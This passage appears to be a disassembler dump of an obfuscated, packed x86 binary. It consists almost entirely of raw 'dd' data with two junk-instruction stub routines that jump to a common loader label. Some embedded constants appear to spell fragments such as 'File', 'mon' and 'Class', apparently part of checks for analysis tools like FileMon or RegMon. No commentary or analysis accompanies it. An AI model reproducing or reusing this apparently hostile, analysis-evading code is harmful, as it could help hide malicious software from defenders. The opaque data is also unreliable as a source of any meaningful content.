75FCA77Fh, 74BE8CCBh, 26D30FEDh, 75FF7B1Ah dd 360B2079h, 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h dd 0FF4DBA07h, 256885B5h, 2FFB4896h, 51FD5F1Fh, 133F71DAh dd 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h dd 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h dd 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h dd 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h, 75FCF323h dd 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh dd 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 11A9EF0Dh dd 0C0707C4Bh, 73CF1EA7h, 7F518A5Dh, 0E002D02Ch, 73CF1EC7h dd 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h dd 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h, 0CD9B851Ah dd 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh dd 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h dd 75059243h, 2D4D7A5Eh, 0B6577925h, 1630FF69h, 0C87D7CF9h dd 73CF1928h, 0F8EC0FF3h, 479945FCh, 61152ABAh, 9DFD7A5Ch dd 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh dd 1630F787h, 0C87D7C8Eh, 73CF1993h, 0F8F10F2Fh, 47994512h dd 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 21688579h, 0F8FB48D8h dd 4795E6C3h, 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh dd 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 47992ACBh, 514ACE29h dd 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h, 75FD7A27h dd 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 11ADEF68h, 917D7CF9h dd 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h dd 0FCF992ACh, 7345B995h, 8AFD7ACBh, 47992E70h, 4660F7F4h dd 0F8FB481Dh, 0CD3E39A0h, 75FD7A4Eh, 11A9EFD0h, 0B57E7CA5h dd 8935F1CEh, 11ADEF1Ah, 97577CC0h, 0BE15B98Eh, 0FF028543h dd 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh, 8908831Dh dd 0F611F1A7h, 9D9D86BDh, 75FD7ABCh, 0D917FB04h, 0FCFB4847h dd 0CF7D86EAh, 73CF1E84h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h dd 11A9E843h, 0FCBD7C6Ch, 479922ADh, 0F835F191h, 4794FA79h dd 256F85E3h, 0FDFB4896h, 801F3C7Fh, 75FD6D04h, 2D7F795Eh dd 35FB484Bh, 1C89E01Ah, 0B67E7CF9h, 22FEF3E1h, 75FD644Bh dd 2D777979h, 0F8FB48D8h, 479418ECh, 2B598929h, 75FD722Fh dd 216F85CBh, 0F6FB4881h, 85897E0Ah, 72447C71h, 7DFD7ABCh dd 0C3F24B5Ah, 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch dd 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh dd 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh dd 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h dd 0B6AD3A78h, 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h dd 2FFD7A2Fh, 1C6E9016h, 0CF707CF9h, 73CF1EB9h, 0CCF50F79h dd 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 11A1E7A2h, 497D7CA5h dd 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh dd 0B917FB04h, 0F8FB4846h, 47992625h, 7D80F1CDh, 75FD725Ch dd 145989F2h, 75F9B8B0h, 2940F7DCh, 46FB483Ah, 75F5C3EFh dd 0DF0E7A97h, 0F89DB9AAh, 47992658h, 74C2FBF4h, 0FC7B78h dd 7182FBB0h, 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 2940F7ABh dd 0CDFB4881h, 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh dd 1C78F7EFh, 8AFB48F3h, 0E9CA8BD0h, 3Bh, 79BD8B60h, 83062B17h dd 0C93304EFh, 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h dd 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h dd 0F000001h, 0FFFFD382h, 8BC361FFh, 0FE9C8h, 0C44E0000h dd 4045h, 2 dup(0) dd 53CE900h, 46170000h, 0F2698602h, 0A3B9D6D2h, 4F06619Dh dd 0C52AD69h, 0CCB3FE3Ah, 0F9350F53h, 0E8ABC9Eh, 585468F1h dd 0E723053Fh, 600A1635h, 1592D9AAh, 92D5B01Fh, 0C0C951BAh dd 0C10271BAh, 47E69BF6h, 0C1839E0Fh, 0A1B904E7h, 955309Fh dd 5B52EC3Fh, 0EEC888E7h, 0A086BE1Dh, 0A299044Bh, 55B1A881h dd 3893B5AFh, 0FC038A26h, 0A6485459h, 0DB94EBAFh, 0CBC02B47h dd 18584E32h, 0BCA5C23Eh, 1405F88h, 0FF79C427h, 964CBDD9h dd 0FDCE079h, 3398AAB0h, 785375ECh, 0BC0F3925h, 846B5FD6h dd 6E7A0906h, 94EBAFDCh, 123EA9B1h, 94EBAF98h, 83BC6DEDh dd 5276EBBFh, 2A3F3956h, 0EBAF6C1Eh, 43AAE194h, 8C7821E6h dd 9A718D29h, 0EB84AB36h, 4F338C94h, 971E4723h, 4EFF7Dh dd 81DB0000h, 1B76E1C7h, 91A90246h, 0BB478518h, 9C94EBC0h dd 37335F23h, 0EF7D96DAh, 1, 0EADA81EBh, 92A7BA01h, 8F5963F7h dd 94EBC0FDh, 0E5728E90h, 0B5C0C7B6h, 0A0AD9AB2h, 0FDB079FDh dd 2A81A79Eh, 0BEF4C861h, 0E69A59Bh, 20B47056h, 0DD8B0271h dd 0E3581A29h, 0B983D72Ah, 74480F52h, 30124897h, 0E9D384DBh dd 0B68AB302h, 96F55833h, 0D4752BDEh, 0AAF0A9CDh, 80F7210Eh dd 7C3CDF7Bh, 0FAB0948Dh, 49A66264h, 0E3BE290Fh, 0B241487Ch dd 0D8E4E96Fh, 94EB7056h, 4C9B372Bh, 63F70851h, 39CC3D59h dd 0B6E4D859h, 7D978FCCh, 0F3D58F0Ah, 766D3Ah, 81690000h dd 0B904E7D9h, 57329DA3h, 3CCF3E02h, 34EADE57h, 0C0119BA9h dd 396494EBh, 0B2CC1F21h, 0D6889716h, 83D730ECh, 0EB732EB9h dd 0FE5DD0D9h, 8C8A6147h, 0BEED9175h, 285AF318h, 0B1D8D161h dd 7D977BC5h, 4F79h, 0AEB3EE00h, 0D9FA319Ah, 0F90C9348h dd 2EAC5DF9h, 4E7D981h, 4F9CA0B9h, 0B7FBCF64h, 0F21D99A3h dd 593F0987h, 0FBF13979h, 0F6B8D7B4h, 0BAC0C965h, 59030271h dd 0B5F7AC41h, 16362D74h, 338A17B5h, 12A394EBh, 0CC66002Eh dd 11E7D97h, 0B8000000h, 3226DB81h, 7A3BF0Ch, 391F59A4h dd 473B22D2h, 0ECF8FD63h, 94EBC042h, 620C1837h, 1794EBC0h dd 5460EF0Bh, 94EBC0DAh, 9B17B3AFh, 59D3E18Ch, 2C94EBC0h dd 0A75B4532h, 783DA327h, 0C33080B1h, 0AE0D8894h, 1E008AC6h dd 0BE88D2B1h, 0E761BC4Fh, 0CD695F02h, 98BEB6D1h, 0B00D9D33h dd 0C5686D3Eh, 50F91AD6h, 2B43E8Eh, 62A49354h, 41FA3358h dd 92F297Dh, 5107828Dh, 0E163BE6Fh, 0DF99E4C7h, 8CC312F9h dd 94774911h, 261A038Ah, 75531570h, 0AA01471Ah, 4A0A1594h dd 0ADA4E36Ch, 0BE305C8Bh, 0D36D3E6Ch, 0FFE05E4Fh, 776C8573h dd 12D2Bh, 1F6FB700h, 500685D2h, 0CFD9D6Eh, 0DEF2F705h dd 8D8D8AC6h, 4761E33Eh, 2331DC4Bh, 6D3F3D89h, 54AB62FCh dd 7AD13A1Ch, 88013B1Fh, 8ED9FF79h, 917A4E13h, 2E8D0089h dd 66B51628h, 17FCCFF1h, 0E4472A1Eh, 2D278B7Fh, 5E088F0Bh dd 7C776BD6h, 3129C3D1h, 15C6D3Fh, 0F886655Bh, 47D8AD5Ch dd 0FA000000h, 84D3206Fh, 0EBC09678h, 54B7AB14h, 0EBC0F678h dd 9FA014h, 0FE806B5Dh, 9232160Fh, 483CC23h, 93BE6F51h dd 0EBC08B85h, 0D9A7D294h, 0A7EF6946h, 0D70AE920h, 0F27C889Dh dd 8794EB61h, 27E37F9Bh, 853Ch, 1F6F1A00h, 3A7785D2h, 398AC6DBh dd 99C6005Ah, 3F3BE18Bh, 38A946Dh, 0CE2DFE60h, 1B74B096h dd 20AC7F59h, 6D3F2493h, 0E1CAFC62h, 2883C59Ah, 3A951725h dd 76E86D3Fh, 0EFB397AEh, 9DC4890Eh, 0BF04A0C2h, 74ECC286h dd 67D75652h, 0A3CFDD0Ah, 0D2730987h, 20207F4Ch, 356A506h dd 648E20Eh, 1D3D674Ah, 83D72A81h, 5A0352B9h, 14098366h dd 0CF249430h, 6F590580h, 758593BEh, 18797C70h, 13AF99C5h dd 12710397h, 81B27B4Dh, 85933C31h, 8ADDB675h, 4AD90618h dd 26568C3Eh, 0BF8AC16Dh, 29188D4Eh, 0F18405A1h, 108CAAAAh dd 705B7DF7h, 0DE5D1D5Ch, 0DDA15A32h, 6DA98FC9h, 97745212h dd 0DC2F0948h, 0C7D5C681h, 27BE5D25h, 41AAC658h, 8F5C7AFAh dd 0AC43073Ch, 0AEB2D17Eh, 14E81198h, 1F43A69Eh, 0F20D8925h dd 9C0B5472h, 800DED77h, 1D9019EBh, 134Ah, 98F8A700h, 0AC4B56C1h dd 5EDFFB32h, 0F5D392F1h, 5810816h, 3E8DC81h, 49A284BCh dd 705B6DF2h, 0B417312Dh, 0FCCFF169h, 2487B9A1h, 6DBE9ED9h dd 97744A0Eh, 0D8331548h, 0E7895708h, 4C781h, 0EF830000h dd 74FF5704h, 8F5F0424h, 565C2404h, 0C681E689h, 4, 8704EE83h dd 895C2434h, 8952243Ch, 4C281E2h, 83000000h, 148704EAh dd 1C895C24h, 0BAB85024h, 0D4FA36Fh, 701E1669h, 2F45BF57h dd 0F829694Dh, 19E0055Fh, 0C789EFC0h, 1C8B5458h, 4C48124h dd 55000000h, 6B89FD89h, 242C8B08h, 8B04C483h db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_544660 ; --------------------------------------------------------------------------- db 29h, 0B8h, 41h dd 306326Fh, 0BFE0FFC5h, 0C21292B8h, 0AC45C1D4h, 0E58D493h dd 11023BB3h, 0F61878B2h, 0AA47143Ah, 87370DF1h, 0B81D8270h dd 287724D6h, 1B16FB49h, 983067AAh, 1039CD32h, 0C0195511h dd 2C7978A9h, 0B547E255h, 0C4E8288h, 0E9532034h, 0A5h dd 108CB8A5h, 0A05C60F7h, 0F32F1147h, 3FFBDD94h, 48447EE0h dd 79E17A3Dh, 2E2C4B47h, 0DA7F9814h, 8BCD2AE6h, 84AB71ADh dd 0D9B0F678h, 0B58D8B92h, 0A7521271h, 0A71F6F1h, 36F71381h dd 7F4C68EBh, 8BADA4C3h, 0FCF2810Fh, 567494EBh, 97952DA6h dd 8C5F79F8h, 8B953BF2h, 726A903Ch, 1F785C17h, 95A5063Ah dd 9AE37C14h, 3DE6A56h, 0B8000000h, 0DC817A5Eh, 84BC03E8h dd 6DF249A2h, 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h dd 4A0E6DBEh, 15489774h, 6808D833h, 6327024h, 0F90EF3E9h dd 7EEF08FFh, 13E8BFh, 0AA6D0000h, 0FCB0B6ACh, 0A86DC4F5h dd 0F4F229C8h, 0F440122h, 28B35A20h, 62D3C281h, 0B8660000h dd 0B9778Ah, 60000000h, 2BF38166h, 0B866602Fh, 6161EC55h dd 660A348Bh, 0EE81FB8Bh, 51CBE5D8h, 0F681AEB0h, 5EF1E223h dd 81FEB70Fh, 834D8FEEh, 89ABB334h, 0FFC0A34h, 38Ch, 2DD88000h dd 0B303E983h, 0F9814993h, 0FFFF9DB0h, 0FFC2850Fh, 8E0FFFFFh dd 11h, 6E8h, 37490B00h, 66F2588Eh, 8D41E781h, 0D90CEB5Fh dd 610089DEh, 0EA7DF84Dh, 0E9C096ECh, 5EEh, 5E2E9h, 556FEC00h dd 251B3E59h, 0F4CA8EE9h, 4064DF38h, 0D372B44h, 28B56491h dd 77900C36h, 0C621DDE7h, 1473AF91h, 0DCBE7A5Ch, 0B18F214Fh dd 46C292D9h, 0BC4E5AE9h, 0BD92D9B1h, 0D9B11DAFh, 0DEE7092h dd 0ADF80FDEh, 22BEF3DDh, 0C781EFEBh, 0A2B70AE1h, 0EAC1075Dh dd 8CD33854h, 0C817F4CEh, 5FAC96h, 3887645Eh, 71CC1F39h dd 0ABF6D5EBh, 0A3B90B4h, 1E2AB5BAh, 8ADE4F99h, 62A7BDD8h dd 43A8C4E2h, 2FCE3Fh, 264E7AF4h, 0F7130F6Dh, 0D2B2D68h dd 0AEB2099Ch, 5D031C98h, 0CECD806Bh, 0CA54B789h, 6AE2CDC3h dd 23B729Bh, 0D2F4683Eh, 8AE757D6h, 3D444F5Dh, 980779CCh dd 76230F05h, 0C1BEFCC5h, 0C6AD1867h, 0BCA24148h, 754F106Fh dd 0F4F95EB9h, 0B3E46E8h, 8143B78h, 780B3E66h, 4FEB071Bh dd 0A678507Ch, 63FFC46h, 0D7119C42h, 5276EB89h, 0C96E179h dd 0ED34F526h, 0D5545074h, 0B1DF0865h, 0FBD087B4h, 5D5FC8B7h dd 438FD225h, 54B7AB4Ah, 0EBEA78h, 1431BFEh, 1799A7AAh dd 6AFE00EBh, 82C69BF4h, 19ED4629h, 0CFB34256h, 8204C7A3h dd 77FE8h, 755B0000h, 38Bh, 1402716Dh, 0F8EB5E84h, 0E1AD0572h dd 0BCAA93CDh, 1B2D324Dh, 0E36221CCh, 8E58E6C5h, 94EB93FCh dd 8D008991h, 0B7142A2Eh, 4C6226DFh, 9AF5310Bh, 1A2883C5h dd 2C10471Ah, 0EADC80DFh, 0A3A5BA01h, 0E0553648h, 0C071551Ch dd 9FA1B6FCh, 0E0834530h, 61D0DC4Fh, 0D4A61616h, 3CED6F10h dd 3E332946h, 0EB659812h, 0B6AEED94h, 0F3D87490h, 3893B5ACh dd 0BDF1D548h, 7B65A1A7h, 8DB61ACFh, 91B164FAh, 0F248E9DDh dd 1671ADC9h, 52A90244h, 8EED3E08h, 0C41BF0D6h, 5FAC96h dd 0F886655Fh, 0B0370B32h, 0BEF4C861h, 4E3DAA9Ch, 0C1106A3Ah dd 0C1BD6C41h, 0A952h, 246F4400h, 0AFA9F4D7h, 6EF20D89h dd 31DC7358h, 0EBC08923h, 0AB62FC94h, 0EBC08B25h, 4540CF94h dd 0BDDD2E1Eh, 0BBEFD34Ch, 867A3A5h, 449B7052h, 0CCC12A0Ch dd 1CF16625h, 0FEDBE085h, 0B27B9778h, 6DF1B589h, 1A405F5Bh dd 0DA7CC328h, 0BCB40BE0h, 77EA319Ah, 98917A51h, 30DFCDA4h dd 0D2390F55h, 0E0A45D4Ch, 7AB690CAh, 9AD0451Dh, 7F66B0CEh dd 9B11E52Ch, 708C4B6Fh, 4467F7D4h, 34EADE67h, 0CC3D0359h dd 1F9BADB5h, 0D2B65F00h, 0E84BB844h, 577556F2h, 94EB1CCAh dd 3A7054E1h, 29B42325h, 0EB1C911Bh, 0B37AE494h, 0D881CBCFh dd 0A7B807E4h, 98A9C24Eh, 0EB99E28Ch, 0BC8B9794h, 0D3C1C183h dd 5A376FA5h, 0C30CA8C4h, 0CA862834h, 757794EBh, 2E1D5D31h dd 0EC1D3DFEh, 0AA9CC219h, 6167FA41h, 0C49BF48Ah, 0EB402B80h dd 42FB5017h, 0D37287Eh, 1C1E0791h, 0E16E94EBh, 57F7EDB2h dd 5B5240C1h, 97522F3Ch, 0FEF8E97Dh, 6FF5FFFFh, 7785D21Fh dd 8AC6DB3Ah, 9BE6C555h, 0E403FFD9h, 0C16B796Ch, 286D3F3Bh dd 0B6A81335h, 0EF9AB11Ah, 0D39265CCh, 3F0816F5h, 0E726007Dh dd 2CFFD998h, 0B4FACE67h, 4E4D9ABCh, 7BF50316h, 0E6D3FF8h dd 0B17F410h, 81C3DC82h, 9C4D38A7h, 3F2A6602h, 0C50B9A13h dd 6D3FE634h, 0AE1984CBh, 0A97C9C46h, 4B3F28E1h, 5164F897h dd 3FE5A943h, 2642DC6Dh, 2D74B5C5h, 76910D2Bh, 108FD8FEh dd 0DEEA754Fh, 6D3FE52Ch, 3DF03921h, 0FB75832Eh, 126D3FE5h dd 9F83784Eh, 0E58A2430h, 63FF6D3Fh, 2449B9AAh, 73812CBBh dd 6D3FE5F9h, 751B928Ch, 7312FC70h, 9E8F0B17h, 8A96C12Eh dd 7977511Dh, 8FD2B15Ch, 6D1DAFB9h, 0EE70799Dh, 9E27C3Fh dd 1F9BADB2h, 86655F00h, 0B789CCCBh, 0CDC3CA54h, 662049E2h dd 6B3F033Ah, 715711F6h, 0AC68849Ah, 8F0A0B53h, 40EAF4C8h dd 59725051h, 5051A14Bh, 714AD472h, 87024DE9h, 1EEDD7h dd 0B2A7FA89h, 1842418Eh, 4CBDDD2Eh, 6458D9B9h, 526B3C36h dd 0A9E064h, 71E20000h, 0AA87002h, 6E7AEDD0h, 94EBE7DCh dd 9C0DA9B1h, 32EEDE85h, 7DB98FD5h, 89052322h, 0DAD6E86Eh dd 67A3A5BDh, 0B4705208h, 0E3F1065Bh, 94EBE749h, 5986223Ch dd 0E70CBECAh, 85DD94EBh, 0E5D66843h, 4E9DA3B6h, 0A9159430h dd 0A730164Eh, 5A5375E8h, 2A0C7BE4h, 6F33685Dh, 0E721CBD9h dd 0CA5494EBh, 991321AEh, 0EC94EBE7h, 0F264BB72h, 0BE9CE3C8h dd 9F4ABB84h, 5906EC20h, 0CB8DD043h, 0F76E1EEDh, 0FF0D2213h dd 94EB3A4Dh, 38E21E00h, 0A4E46Fh, 71D20000h, 60DA2202h dd 0C7C6DB4Fh, 29A64D5Bh, 71E494EBh, 714F638Dh, 0A4B65312h dd 953149A2h, 9EE12836h, 85DBB6BBh, 0C01B9543h, 72F294EBh dd 6CFB6754h, 0EBC0AE40h, 23BFA394h, 411D78E7h, 0E57B8607h dd 89C827E3h, 0B9E473AFh, 0F7057985h, 94EB4975h, 88291608h dd 81800985h, 0CC2BE7D9h, 0EB74B08Ah, 0FFBE305Ch, 4FD394EBh dd 1A1B435Eh, 0EBFF7C0Eh, 0ED091194h, 7C81D631h, 770BE0DAh dd 0A530DFDBh, 0EBFF1597h, 37F66894h, 524E68E8h, 0A88EC6C5h dd 47CE3F43h, 0Ah, 4C127133h, 89917Ah, 0DC81FADEh, 84BC03E8h dd 6DF249A2h, 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h dd 4A0E6DBEh, 15489774h, 6808D833h, 485Eh, 56243489h, 0C681E689h dd 4, 8704EE83h, 895C2434h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push edx mov edx, 632716Dh push edi mov edi, edx mov esi, edi pop edi pop edx push esp mov edi, [esp] add esp, 4 push esi pop dword ptr [edi+8] push dword ptr [esp] pop edi add esp, 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_544660 ; --------------------------------------------------------------------------- dw 7750h dd 0BDDFE7C4h, 0B85BD3C0h, 63276E7h, 0D38BC503h, 78088D8Dh dd 0FE8B0632h, 0EE18D89h, 858B062Bh, 62B1DB1h, 21E185C7h dd 59D8062Bh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 7DF8F1C3h, 4207F29Ah, 0F88B6656h dd 1812BF66h, 13E9h, 3CB55C00h, 5F391976h, 0FBCC8041h dd 1AA4F1B7h, 0C49BAE44h, 2BE585C7h, 62Bh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0DCC150C3h, 9D22F8C0h, 0B5FFDF8Bh, 62B0165h, 273195FFh dd 8C0F062Bh, 4, 5B49B652h, 9AC503BBh, 0FF006A70h, 2B294595h dd 0EBC08B06h, 526C7F1Eh, 0C7B63D17h, 0DAAA8B9Dh, 44252CD0h dd 24CAF063h, 0E89898Ah, 0EA4DD244h, 0E94E2CE3h, 2Ah, 2404C7h dd 0E8000000h, 0 dd 3CED815Dh, 8B063278h, 89042444h, 2B086185h, 0B806h dd 8D8D0000h, 62B4EA1h, 54B8E1FFh, 0EB000067h, 16h, 4 dup(0) dd 0B0010100h, 32000003h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 5A803F06h dd 0EE990h, 59920000h, 0F31C3436h, 0EA7025E0h, 0A539AFA8h dd 0FBB95150h, 5F1A0806h, 55006A90h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 1AAC0E21h dd 0BFC07FCh, 2B2E25BDh, 0B99D8B06h, 6A062B19h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 66681C5Bh, 87DFB1FBh, 8B60CED7h, 2B0DB99Dh, 41B95006h dd 5915CAB8h, 6AD68B61h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 8D4A41C9h, 0D18166EAh dd 858D5A12h, 63279CCh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 3BC35747h, 0F526D81h, 0F85AFAB7h, 0BB666050h dd 8B664B2Bh, 48961F2h, 99D8924h, 6A062B12h, 0D99D8900h dd 6A062B07h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0FFD75A78h, 2B34E195h, 0E1BD2306h dd 0E9062B25h, 613h, 0BE9h, 0A18C1F00h, 0E3C4838Ch, 696E1BA6h dd 0E8h, 0ED815D00h, 63279D1h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 26C35141h, 8B7836F5h, 2B1F9595h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0C0128FAFh, 8089E71Eh, 0DE936CBh, 7F000000h dd 9CCC93BBh, 2ADCE35Ah, 11AE1A96h, 320BF068h, 61F9BB47h dd 34817EDFh, 32045024h, 0FFF98B47h, 2B294595h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0BD8B81ACh, 62B1935h, 5E9h, 8984A200h, 0B58D7033h, 6327861h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 8FC35646h dd 8A3B2716h, 5206C766h, 516D6765h, 2AF99D0Bh, 0C75B062Bh dd 6E6F0446h, 6A6C63h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0E72947C3h, 375BE66Ah, 46C72280h dd 73736108h, 12E900h, 0B5BA0000h, 0B1B1752Ah, 0A0362D35h dd 7CBD2366h, 0FB761E01h, 28C1B529h, 6A062Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 52C35747h, 85E87888h dd 2923DF6Dh, 2B1E6DBDh, 61858D06h, 6A063278h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 2F31C352h, 48950DBh, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 8589BF0Bh, 62B2CE5h, 35199D8Bh dd 95FF062Bh, 62B06F1h, 1C01B501h, 0C00B062Bh, 11840Fh dd 0B5890000h, 62B1FC5h, 3B8E9h, 69BD8B00h, 68062B0Ah dd 0C318D03Eh, 48168B3h, 0E730EE24h, 53006A3Ch, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 7795630h, 0F189893h dd 289h, 0FFD98B00h, 2B294595h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 6E8FBB1Bh dd 5AA92155h, 9B5958Bh, 0B58D062Bh, 6327861h, 205DBBFh dd 3106C77Ch, 6A363438h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 2D4AC350h, 7C1CAF05h dd 10E9h, 0F9E4BD00h, 0BC9CEE46h, 5662A25Eh, 0FCCA38BBh dd 446C7D7h, 31342D37h, 18AD8589h, 46C7062Bh, 8, 998D0900h dd 6A062B29h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 7712847Dh, 0D78A5196h, 61858D5Ah dd 6A063278h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 821C355h, 0F9B697AEh, 9D8D8BD0h dd 60062B35h, 2830Fh, 0FE8B0000h, 0E8F28B60h, 10h, 7133B8D8h dd 0E2EEF49Eh, 97099239h, 0F4286Bh, 50616159h, 89FA8B66h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0F3C37AC3h, 0C335A7D9h, 0F38189D4h, 3A12DF85h dd 6F195FFh, 8B0F062Bh, 6, 0B507D981h, 0BD893597h, 62B1661h dd 840FC00Bh, 69h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 39C35343h, 77655E89h, 66C01EC3h, 0E9F5EBBFh dd 1F5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0F7C35242h, 0E9143679h, 2E1B6608h, 10E8h, 72045700h dd 9C82F492h, 2E43030h, 0E843A85Eh, 0D08B66A6h, 4E85Bh dd 12C0000h, 0AE90000h, 0CB000000h, 9C3A604Bh, 0F98B7A48h dd 14E85013h, 0D8000000h, 0C1E7669Ch, 4795E409h, 1C2337C4h dd 0A86B1790h, 0B1239EC6h, 448B5BD5h, 61600424h, 8B66008Bh dd 244489FAh, 0FD8A6004h, 1F2AB966h, 6A5861h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0A4D530C3h dd 0E87E2E3Eh, 0FC81A15Bh, 294595FFh, 0B58D062Bh, 6327861h dd 17E59D29h, 6C7062Bh, 656C6946h, 5968D4BAh, 446C753h dd 636E6F6Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 7CC35343h, 46C7A3AEh, 73616C08h, 0ECB96673h, 7FBB662Bh dd 0C46C79Bh, 0 dd 1F799D89h, 6A062Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 2DC35141h, 0DD8A59B1h, 1BA98D8Bh, 858D062Bh dd 6327861h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 76C35747h, 3406D4DAh, 160B98ACh, 8B56900Bh, 90505AF9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 81C35242h dd 55BD09F5h, 0FF062B12h, 2B06F195h, 0FD858906h, 0B062B26h dd 4B840FC0h, 0E9000000h, 51h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0C9C35040h, 2214C18h, 0FC744F9h dd 383h, 0F8B70F00h, 0FE9h, 739F6C00h, 0DFC88E27h, 0B78CF5D4h dd 0F0958F48h, 0F058D89h, 81E9062Bh, 8BFFFFFAh, 2B1C858Dh dd 86B58D06h, 6A062B71h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0C491C355h, 91EA6BC9h dd 80FB8404h, 9589E7DFh, 62B2B4Dh, 0B8h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 215EADFBh, 6AE6FFDCh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0D02AC356h, 0B18881DCh dd 8BDA8A74h, 338D8DC1h, 6A063281h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 5F3FC355h dd 0EA1A8AF7h, 0DD94400Ah, 0A46D4BFh, 398D8953h, 89062B0Dh dd 2B0EE18Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 29BEB81Dh, 0DDDFC758h, 0C01BD31h dd 14E8062Bh, 16000000h, 401AE8A7h, 4530B784h, 6D2A5D9Ch dd 3263FEh, 29B5DC44h, 2B05FD9Dh, 85C75B06h, 62B21E1h dd 653Ch, 2FD9BD01h, 85C7062Bh, 62B2BE5h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0BC35242h dd 27107583h, 336D9105h, 25B5FF14h, 6A062B05h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 352C357h, 78B14A3Dh, 0E8189F4Bh, 10h, 